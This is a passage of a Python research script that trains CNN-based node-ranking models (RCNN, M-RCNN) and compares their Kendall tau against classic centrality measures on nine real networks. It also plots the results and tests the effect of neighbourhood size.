DataLoader\r\n    rcnn_loader = Utils.Get_DataLoader(BA_1000_rcnn,BA_1000_4_label,batch_size,L1)\r\n    mrcnn_loader = Utils.Get_DataLoader1(BA_1000_mrcnn,BA_1000_4_label,batch_size,L2)\r\n    mrcnn_loader_com = Utils.Get_DataLoader2(BA_1000_mrcnn_com,BA_1000_4_label,batch_size,L2)\r\n    mrcnn_loader_shell = Utils.Get_DataLoader2(BA_1000_mrcnn_shell,BA_1000_4_label,batch_size,L2)\r\n    # initializing models\r\n    rcnn= Models.CNN(L1)\r\n    mrcnn = Models.CNN1(L2)\r\n    mrcnn_com = Models.CNN2(L2)\r\n    mrcnn_shell = Models.CNN2(L2)\r\n    # train \r\n    RCNN,RCNN_loss = Utils.train_model(rcnn_loader,rcnn,num_epochs,lr,L1)\r\n    MRCNN,MRCNN_loss = Utils.train_model(mrcnn_loader,mrcnn,num_epochs,lr,L2)\r\n    MRCNN_com,MRCNN_com_loss = Utils.train_model(mrcnn_loader_com,mrcnn_com,num_epochs,lr,L2)\r\n    MRCNN_shell,MRCNN_shell_loss = Utils.train_model(mrcnn_loader_shell,mrcnn_shell,num_epochs,lr,L2)\r\n    # test\r\n    # In[3] Experiment 1: Node ranking capability\r\n    Facebook_RCNN_tau,Facebook_MRCNN_tau,Facebook_dc_tau,Facebook_ks_tau,Facebook_nd_tau,Facebook_bc_tau,Facebook_vc_tau = Test.compare_tau(Facebook,L1,L2,Facebook_SIR,Facebook_community,RCNN,MRCNN)\r\n    GrQ_RCNN_tau,GrQ_MRCNN_tau,GrQ_dc_tau,GrQ_ks_tau,GrQ_nd_tau,GrQ_bc_tau,GrQ_vc_tau = Test.compare_tau(GrQ,L1,L2,GrQ_SIR,GrQ_community,RCNN,MRCNN)\r\n    Ham_RCNN_tau,Ham_MRCNN_tau,Ham_dc_tau,Ham_ks_tau,Ham_nd_tau,Ham_bc_tau,Ham_vc_tau = Test.compare_tau(Ham,L1,L2,Ham_SIR,Ham_community,RCNN,MRCNN)\r\n    Hep_RCNN_tau,Hep_MRCNN_tau,Hep_dc_tau,Hep_ks_tau,Hep_nd_tau,Hep_bc_tau,Hep_vc_tau = Test.compare_tau(Hep,L1,L2,Hep_SIR,Hep_community,RCNN,MRCNN)\r\n    LastFM_RCNN_tau,LastFM_MRCNN_tau,LastFM_dc_tau,LastFM_ks_tau,LastFM_nd_tau,LastFM_bc_tau,LastFM_vc_tau = Test.compare_tau(LastFM,L1,L2,LastFM_SIR,LastFM_community,RCNN,MRCNN)\r\n    Figeys_RCNN_tau,Figeys_MRCNN_tau,Figeys_dc_tau,Figeys_ks_tau,Figeys_nd_tau,Figeys_bc_tau,Figeys_vc_tau = Test.compare_tau(Figeys,L1,L2,Figeys_SIR,Figeys_community,RCNN,MRCNN)\r\n    Vidal_RCNN_tau,Vidal_MRCNN_tau,Vidal_dc_tau,Vidal_ks_tau,Vidal_nd_tau,Vidal_bc_tau,Vidal_vc_tau = Test.compare_tau(Vidal,L1,L2,Vidal_SIR,Vidal_community,RCNN,MRCNN)\r\n    PowerGrid_RCNN_tau,PowerGrid_MRCNN_tau,PowerGrid_dc_tau,PowerGrid_ks_tau,PowerGrid_nd_tau,PowerGrid_bc_tau,PowerGrid_vc_tau = Test.compare_tau(PowerGrid,L1,L2,PowerGrid_SIR,PowerGrid_community,RCNN,MRCNN)\r\n    Sex_RCNN_tau,Sex_MRCNN_tau,Sex_dc_tau,Sex_ks_tau,Sex_nd_tau,Sex_bc_tau,Sex_vc_tau = Test.compare_tau(Sex,L1,L2,Sex_SIR,Sex_community,RCNN,MRCNN)\r\n    # visualize results\r\n    plt.figure(figsize=(20,17),dpi=120)\r\n    plt.subplot(331)\r\n    plt.plot(a_list,Facebook_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,Facebook_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,Facebook_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,Facebook_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,Facebook_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,Facebook_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,Facebook_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.title('Facebook',fontsize=20,fontweight='bold')\r\n    plt.ylabel(r'$\\tau$',fontsize=24,fontweight='bold')\r\n    plt.text(0.97,0.94,'(a)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(332)\r\n    plt.plot(a_list,LastFM_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,LastFM_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,LastFM_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,LastFM_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,LastFM_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,LastFM_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,LastFM_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('LastFM',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.97,0.94,'(b)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(333)\r\n    plt.plot(a_list,Sex_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,Sex_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,Sex_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,Sex_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,Sex_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,Sex_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,Sex_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('Sex',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.97,0.94,'(c)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(334)\r\n    plt.plot(a_list,Figeys_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,Figeys_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,Figeys_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,Figeys_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,Figeys_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,Figeys_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,Figeys_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.ylabel(r'$\\tau$',fontsize=24,fontweight='bold')\r\n    plt.title('Figeys',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.97,0.94,'(d)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(335)\r\n    plt.plot(a_list,Hep_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,Hep_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,Hep_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,Hep_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,Hep_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,Hep_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,Hep_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('Hep',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.97,0.94,'(e)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(336)\r\n    plt.plot(a_list,Vidal_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,Vidal_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,Vidal_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,Vidal_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,Vidal_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,Vidal_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,Vidal_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('Vidal',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.97,0.94,'(f)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(337)\r\n    plt.plot(a_list,GrQ_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,GrQ_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,GrQ_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,GrQ_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,GrQ_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,GrQ_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,GrQ_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('GrQC',fontsize=20,fontweight='bold')\r\n    plt.ylabel(r'$\\tau$',fontsize=24,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=20,fontweight='bold')\r\n    plt.text(0.97,0.94,'(g)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(338)\r\n    plt.plot(a_list,Ham_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,Ham_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,Ham_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,Ham_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,Ham_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,Ham_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,Ham_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('Hamster',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=20,fontweight='bold')\r\n    plt.text(0.97,0.94,'(h)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(339)\r\n    plt.plot(a_list,PowerGrid_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,PowerGrid_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,PowerGrid_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,PowerGrid_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,PowerGrid_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,PowerGrid_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,PowerGrid_MRCNN_tau,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('PowerGrid',fontsize=20,fontweight='bold')\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.97,0.94,'(i)',fontsize=16,fontweight='bold')\r\n    plt.tight_layout()\r\n    plt.legend(bbox_to_anchor=(0.4,-0.15),ncol=7,fontsize=18)\r\n    plt.show()\r\n\r\n    # In[4] Experiment 2: Impact of the size of neighborhood networks \r\n    # train models based different L\r\n    L_list = [4,8,16,28,32,40,48,56,64]\r\n    MRCNN_model_list = Utils.compare_L(BA_1000_4,BA_1000_4_label,BA_1000_4_community,L_list)\r\n    Facebook_MRCNN_tau4_list,Facebook_MRCNN_tau4 = Test.compare_tau1(Facebook,4,Facebook_SIR,Facebook_community,MRCNN_model_list[0],p=0.1)\r\n    GrQ_MRCNN_tau4_list,GrQ_MRCNN_tau4 = Test.compare_tau1(GrQ,4,GrQ_SIR,GrQ_community,MRCNN_model_list[0],p=0.1)\r\n    Ham_MRCNN_tau4_list,Ham_MRCNN_tau4 = Test.compare_tau1(Ham,4,Ham_SIR,Ham_community,MRCNN_model_list[0],p=0.1)\r\n    Hep_MRCNN_tau4_list,Hep_MRCNN_tau4 = Test.compare_tau1(Hep,4,Hep_SIR,Hep_community,MRCNN_model_list[0],p=0.1)\r\n    LastFM_MRCNN_tau4_list,LastFM_MRCNN_tau4 = Test.compare_tau1(LastFM,4,LastFM_SIR,LastFM_community,MRCNN_model_list[0],p=0.1)\r\n    Figeys_MRCNN_tau4_list,Figeys_MRCNN_tau4 = Test.compare_tau1(Figeys,4,Figeys_SIR,Figeys_community,MRCNN_model_list[0],p=0.1)\r\n    Vidal_MRCNN_tau4_list,Vidal_MRCNN_tau4 = Test.compare_tau1(Vidal,4,Vidal_SIR,Vidal_community,MRCNN_model_list[0],p=0.1)\r\n    PowerGrid_MRCNN_tau4_list,PowerGrid_MRCNN_tau4 = Test.compare_tau1(PowerGrid,4,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[0],p=0.1)\r\n    Sex_MRCNN_tau4_list,Sex_MRCNN_tau4 = Test.compare_tau1(Sex,4,Sex_SIR,Sex_community,MRCNN_model_list[0],p=0.1)\r\n    \r\n    Facebook_MRCNN_tau8_list,Facebook_MRCNN_tau8 = Test.compare_tau1(Facebook,8,Facebook_SIR,Facebook_community,MRCNN_model_list[1],p=0.1)\r\n    GrQ_MRCNN_tau8_list,GrQ_MRCNN_tau8 = Test.compare_tau1(GrQ,8,GrQ_SIR,GrQ_community,MRCNN_model_list[1],p=0.1)\r\n    Ham_MRCNN_tau8_list,Ham_MRCNN_tau8 = Test.compare_tau1(Ham,8,Ham_SIR,Ham_community,MRCNN_model_list[1],p=0.1)\r\n    Hep_MRCNN_tau8_list,Hep_MRCNN_tau8 = Test.compare_tau1(Hep,8,Hep_SIR,Hep_community,MRCNN_model_list[1],p=0.1)\r\n    LastFM_MRCNN_tau8_list,LastFM_MRCNN_tau8 = Test.compare_tau1(LastFM,8,LastFM_SIR,LastFM_community,MRCNN_model_list[1],p=0.1)\r\n    Figeys_MRCNN_tau8_list,Figeys_MRCNN_tau8 = Test.compare_tau1(Figeys,8,Figeys_SIR,Figeys_community,MRCNN_model_list[1],p=0.1)\r\n    Vidal_MRCNN_tau8_list,Vidal_MRCNN_tau8 = Test.compare_tau1(Vidal,8,Vidal_SIR,Vidal_community,MRCNN_model_list[1],p=0.1)\r\n    PowerGrid_MRCNN_tau8_list,PowerGrid_MRCNN_tau8 = Test.compare_tau1(PowerGrid,8,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[1],p=0.1)\r\n    Sex_MRCNN_tau8_list,Sex_MRCNN_tau8 = Test.compare_tau1(Sex,8,Sex_SIR,Sex_community,MRCNN_model_list[1],p=0.1)\r\n    \r\n    Facebook_MRCNN_tau16_list,Facebook_MRCNN_tau16 = Test.compare_tau1(Facebook,16,Facebook_SIR,Facebook_community,MRCNN_model_list[2],p=0.1)\r\n    GrQ_MRCNN_tau16_list,GrQ_MRCNN_tau16 = Test.compare_tau1(GrQ,16,GrQ_SIR,GrQ_community,MRCNN_model_list[2],p=0.1)\r\n    Ham_MRCNN_tau16_list,Ham_MRCNN_tau16 = Test.compare_tau1(Ham,16,Ham_SIR,Ham_community,MRCNN_model_list[2],p=0.1)\r\n    Hep_MRCNN_tau16_list,Hep_MRCNN_tau16 = Test.compare_tau1(Hep,16,Hep_SIR,Hep_community,MRCNN_model_list[2],p=0.1)\r\n    LastFM_MRCNN_tau16_list,LastFM_MRCNN_tau16 = Test.compare_tau1(LastFM,16,LastFM_SIR,LastFM_community,MRCNN_model_list[2],p=0.1)\r\n    Figeys_MRCNN_tau16_list,Figeys_MRCNN_tau16 = Test.compare_tau1(Figeys,16,Figeys_SIR,Figeys_community,MRCNN_model_list[2],p=0.1)\r\n    Vidal_MRCNN_tau16_list,Vidal_MRCNN_tau16 = Test.compare_tau1(Vidal,16,Vidal_SIR,Vidal_community,MRCNN_model_list[2],p=0.1)\r\n    PowerGrid_MRCNN_tau16_list,PowerGrid_MRCNN_tau16 = Test.compare_tau1(PowerGrid,16,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[3],p=0.1)\r\n    Sex_MRCNN_tau16_list,Sex_MRCNN_tau16 = Test.compare_tau1(Sex,16,Sex_SIR,Sex_community,MRCNN_model_list[2],p=0.1)\r\n    \r\n    Facebook_MRCNN_tau28_list,Facebook_MRCNN_tau28 = Test.compare_tau1(Facebook,28,Facebook_SIR,Facebook_community,MRCNN_model_list[3],p=0.1)\r\n    GrQ_MRCNN_tau28_list,GrQ_MRCNN_tau28 = Test.compare_tau1(GrQ,28,GrQ_SIR,GrQ_community,MRCNN_model_list[3],p=0.1)\r\n    Ham_MRCNN_tau28_list,Ham_MRCNN_tau28 = Test.compare_tau1(Ham,28,Ham_SIR,Ham_community,MRCNN_model_list[3],p=0.1)\r\n    Hep_MRCNN_tau28_list,Hep_MRCNN_tau28 = Test.compare_tau1(Hep,28,Hep_SIR,Hep_community,MRCNN_model_list[3],p=0.1)\r\n    LastFM_MRCNN_tau28_list,LastFM_MRCNN_tau28 = Test.compare_tau1(LastFM,28,LastFM_SIR,LastFM_community,MRCNN_model_list[3],p=0.1)\r\n    Figeys_MRCNN_tau28_list,Figeys_MRCNN_tau28 = Test.compare_tau1(Figeys,28,Figeys_SIR,Figeys_community,MRCNN_model_list[3],p=0.1)\r\n    Vidal_MRCNN_tau28_list,Vidal_MRCNN_tau28 = Test.compare_tau1(Vidal,28,Vidal_SIR,Vidal_community,MRCNN_model_list[3],p=0.1)\r\n    PowerGrid_MRCNN_tau28_list,PowerGrid_MRCNN_tau28 = Test.compare_tau1(PowerGrid,28,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[3],p=0.1)\r\n    Sex_MRCNN_tau28_list,Sex_MRCNN_tau28 = Test.compare_tau1(Sex,28,Sex_SIR,Sex_community,MRCNN_model_list[3],p=0.1)\r\n    \r\n    Facebook_MRCNN_tau32_list,Facebook_MRCNN_tau32 = Test.compare_tau1(Facebook,32,Facebook_SIR,Facebook_community,MRCNN_model_list[4],p=0.1)\r\n    GrQ_MRCNN_tau32_list,GrQ_MRCNN_tau32 = Test.compare_tau1(GrQ,32,GrQ_SIR,GrQ_community,MRCNN_model_list[4],p=0.1)\r\n    Ham_MRCNN_tau32_list,Ham_MRCNN_tau32 = Test.compare_tau1(Ham,32,Ham_SIR,Ham_community,MRCNN_model_list[4],p=0.1)\r\n    Hep_MRCNN_tau32_list,Hep_MRCNN_tau32 = Test.compare_tau1(Hep,32,Hep_SIR,Hep_community,MRCNN_model_list[4],p=0.1)\r\n    LastFM_MRCNN_tau32_list,LastFM_MRCNN_tau32 = Test.compare_tau1(LastFM,32,LastFM_SIR,LastFM_community,MRCNN_model_list[4],p=0.1)\r\n    Figeys_MRCNN_tau32_list,Figeys_MRCNN_tau32 = Test.compare_tau1(Figeys,32,Figeys_SIR,Figeys_community,MRCNN_model_list[4],p=0.1)\r\n    Vidal_MRCNN_tau32_list,Vidal_MRCNN_tau32 = Test.compare_tau1(Vidal,32,Vidal_SIR,Vidal_community,MRCNN_model_list[4],p=0.1)\r\n    Sex_MRCNN_tau32_list,Sex_MRCNN_tau32 = Test.compare_tau1(Sex,32,Sex_SIR,Sex_community,MRCNN_model_list[4],p=0.1)\r\n    PowerGrid_MRCNN_tau32_list,PowerGrid_MRCNN_tau32 = Test.compare_tau1(PowerGrid,32,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[4],p=0.1)\r\n    \r\n    \r\n    Facebook_MRCNN_tau40_list,Facebook_MRCNN_tau40 = Test.compare_tau1(Facebook,40,Facebook_SIR,Facebook_community,MRCNN_model_list[5],p=0.1)\r\n    GrQ_MRCNN_tau40_list,GrQ_MRCNN_tau40 = Test.compare_tau1(GrQ,40,GrQ_SIR,GrQ_community,MRCNN_model_list[5],p=0.1)\r\n    Ham_MRCNN_tau40_list,Ham_MRCNN_tau40 = Test.compare_tau1(Ham,40,Ham_SIR,Ham_community,MRCNN_model_list[5],p=0.1)\r\n    Hep_MRCNN_tau40_list,Hep_MRCNN_tau40 = Test.compare_tau1(Hep,40,Hep_SIR,Hep_community,MRCNN_model_list[5],p=0.1)\r\n    LastFM_MRCNN_tau40_list,LastFM_MRCNN_tau40 = Test.compare_tau1(LastFM,40,LastFM_SIR,LastFM_community,MRCNN_model_list[5],p=0.1)\r\n    Figeys_MRCNN_tau40_list,Figeys_MRCNN_tau40 = Test.compare_tau1(Figeys,40,Figeys_SIR,Figeys_community,MRCNN_model_list[5],p=0.1)\r\n    Vidal_MRCNN_tau40_list,Vidal_MRCNN_tau40 = Test.compare_tau1(Vidal,40,Vidal_SIR,Vidal_community,MRCNN_model_list[5],p=0.1)\r\n    PowerGrid_MRCNN_tau40_list,PowerGrid_MRCNN_tau40 = Test.compare_tau1(PowerGrid,40,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[5],p=0.1)\r\n    Sex_MRCNN_tau40_list,Sex_MRCNN_tau40 = Test.compare_tau1(Sex,40,Sex_SIR,Sex_community,MRCNN_model_list[5],p=0.1)\r\n    \r\n    Facebook_MRCNN_tau48_list,Facebook_MRCNN_tau48 = Test.compare_tau1(Facebook,48,Facebook_SIR,Facebook_community,MRCNN_model_list[6],p=0.1)\r\n    GrQ_MRCNN_tau48_list,GrQ_MRCNN_tau48 = Test.compare_tau1(GrQ,48,GrQ_SIR,GrQ_community,MRCNN_model_list[6],p=0.1)\r\n    Ham_MRCNN_tau48_list,Ham_MRCNN_tau48 = Test.compare_tau1(Ham,48,Ham_SIR,Ham_community,MRCNN_model_list[6],p=0.1)\r\n    Hep_MRCNN_tau48_list,Hep_MRCNN_tau48 = Test.compare_tau1(Hep,48,Hep_SIR,Hep_community,MRCNN_model_list[6],p=0.1)\r\n    LastFM_MRCNN_tau48_list,LastFM_MRCNN_tau48 = Test.compare_tau1(LastFM,48,LastFM_SIR,LastFM_community,MRCNN_model_list[6],p=0.1)\r\n    Figeys_MRCNN_tau48_list,Figeys_MRCNN_tau48 = Test.compare_tau1(Figeys,48,Figeys_SIR,Figeys_community,MRCNN_model_list[6],p=0.1)\r\n    Vidal_MRCNN_tau48_list,Vidal_MRCNN_tau48 = Test.compare_tau1(Vidal,48,Vidal_SIR,Vidal_community,MRCNN_model_list[6],p=0.1)\r\n    PowerGrid_MRCNN_tau48_list,PowerGrid_MRCNN_tau48 = Test.compare_tau1(PowerGrid,48,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[6],p=0.1)\r\n    Sex_MRCNN_tau48_list,Sex_MRCNN_tau48 = Test.compare_tau1(Sex,48,Sex_SIR,Sex_community,MRCNN_model_list[6],p=0.1)\r\n    \r\n    Facebook_MRCNN_tau56_list,Facebook_MRCNN_tau56 = Test.compare_tau1(Facebook,56,Facebook_SIR,Facebook_community,MRCNN_model_list[7],p=0.1)\r\n    GrQ_MRCNN_tau56_list,GrQ_MRCNN_tau56 = Test.compare_tau1(GrQ,56,GrQ_SIR,GrQ_community,MRCNN_model_list[7],p=0.1)\r\n    Ham_MRCNN_tau56_list,Ham_MRCNN_tau56 = Test.compare_tau1(Ham,56,Ham_SIR,Ham_community,MRCNN_model_list[7],p=0.1)\r\n    Hep_MRCNN_tau56_list,Hep_MRCNN_tau56 = Test.compare_tau1(Hep,56,Hep_SIR,Hep_community,MRCNN_model_list[7],p=0.1)\r\n    LastFM_MRCNN_tau56_list,LastFM_MRCNN_tau56 = Test.compare_tau1(LastFM,56,LastFM_SIR,LastFM_community,MRCNN_model_list[7],p=0.1)\r\n    Figeys_MRCNN_tau56_list,Figeys_MRCNN_tau56 = Test.compare_tau1(Figeys,56,Figeys_SIR,Figeys_community,MRCNN_model_list[7],p=0.1)\r\n    Vidal_MRCNN_tau56_list,Vidal_MRCNN_tau56 = Test.compare_tau1(Vidal,56,Vidal_SIR,Vidal_community,MRCNN_model_list[7],p=0.1)\r\n    PowerGrid_MRCNN_tau56_list,PowerGrid_MRCNN_tau56 = Test.compare_tau1(PowerGrid,56,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[7],p=0.1)\r\n    Sex_MRCNN_tau56_list,Sex_MRCNN_tau56 = Test.compare_tau1(Sex,56,Sex_SIR,Sex_community,MRCNN_model_list[7],p=0.1)\r\n    \r\n    Facebook_MRCNN_tau64_list,Facebook_MRCNN_tau64 = Test.compare_tau1(Facebook,64,Facebook_SIR,Facebook_community,MRCNN_model_list[8],p=0.1)\r\n    GrQ_MRCNN_tau64_list,GrQ_MRCNN_tau64 = Test.compare_tau1(GrQ,64,GrQ_SIR,GrQ_community,MRCNN_model_list[8],p=0.1)\r\n    Ham_MRCNN_tau64_list,Ham_MRCNN_tau64 = Test.compare_tau1(Ham,64,Ham_SIR,Ham_community,MRCNN_model_list[8],p=0.1)\r\n    Hep_MRCNN_tau64_list,Hep_MRCNN_tau64 = Test.compare_tau1(Hep,64,Hep_SIR,Hep_community,MRCNN_model_list[8],p=0.1)\r\n    LastFM_MRCNN_tau64_list,LastFM_MRCNN_tau64 = Test.compare_tau1(LastFM,64,LastFM_SIR,LastFM_community,MRCNN_model_list[8],p=0.1)\r\n    Figeys_MRCNN_tau64_list,Figeys_MRCNN_tau64 = Test.compare_tau1(Figeys,64,Figeys_SIR,Figeys_community,MRCNN_model_list[8],p=0.1)\r\n    Vidal_MRCNN_tau64_list,Vidal_MRCNN_tau64 = Test.compare_tau1(Vidal,64,Vidal_SIR,Vidal_community,MRCNN_model_list[8],p=0.1)\r\n    PowerGrid_MRCNN_tau64_list,PowerGrid_MRCNN_tau64 = Test.compare_tau1(PowerGrid,64,PowerGrid_SIR,PowerGrid_community,MRCNN_model_list[8],p=0.1)\r\n    Sex_MRCNN_tau64_list,Sex_MRCNN_tau64 = Test.compare_tau1(Sex,64,Sex_SIR,Sex_community,MRCNN_model_list[8],p=0.1)\r\n    \r\n    L_all = pd.DataFrame({'L':L_list\r\n                ,'Facebook':[Facebook_MRCNN_tau4,Facebook_MRCNN_tau8,Facebook_MRCNN_tau16,Facebook_MRCNN_tau28,Facebook_MRCNN_tau32,Facebook_MRCNN_tau40,Facebook_MRCNN_tau48,Facebook_MRCNN_tau56,Facebook_MRCNN_tau64]\r\n                ,'GrQ':[GrQ_MRCNN_tau4,GrQ_MRCNN_tau8,GrQ_MRCNN_tau16,GrQ_MRCNN_tau28,GrQ_MRCNN_tau32,GrQ_MRCNN_tau40,GrQ_MRCNN_tau48,GrQ_MRCNN_tau56,GrQ_MRCNN_tau64]\r\n                ,'Ham':[Ham_MRCNN_tau4,Ham_MRCNN_tau8,Ham_MRCNN_tau16,Ham_MRCNN_tau28,Ham_MRCNN_tau32,Ham_MRCNN_tau40,Ham_MRCNN_tau48,Ham_MRCNN_tau56,Ham_MRCNN_tau64]\r\n                ,'Hep':[Hep_MRCNN_tau4,Hep_MRCNN_tau8,Hep_MRCNN_tau16,Hep_MRCNN_tau28,Hep_MRCNN_tau32,Hep_MRCNN_tau40,Hep_MRCNN_tau48,Hep_MRCNN_tau56,Hep_MRCNN_tau64]\r\n                ,'LastFM':[LastFM_MRCNN_tau4,LastFM_MRCNN_tau8,LastFM_MRCNN_tau16,LastFM_MRCNN_tau28,LastFM_MRCNN_tau32,LastFM_MRCNN_tau40,LastFM_MRCNN_tau48,LastFM_MRCNN_tau56,LastFM_MRCNN_tau64]\r\n                ,'Vidal':[Vidal_MRCNN_tau4,Vidal_MRCNN_tau8,Vidal_MRCNN_tau16,Vidal_MRCNN_tau28,Vidal_MRCNN_tau32,Vidal_MRCNN_tau40,Vidal_MRCNN_tau48,Vidal_MRCNN_tau56,Vidal_MRCNN_tau64]\r\n                ,'PowerGrid':[PowerGrid_MRCNN_tau4,PowerGrid_MRCNN_tau8,PowerGrid_MRCNN_tau16,PowerGrid_MRCNN_tau28,PowerGrid_MRCNN_tau32,PowerGrid_MRCNN_tau40,PowerGrid_MRCNN_tau48,PowerGrid_MRCNN_tau56,PowerGrid_MRCNN_tau64]\r\n                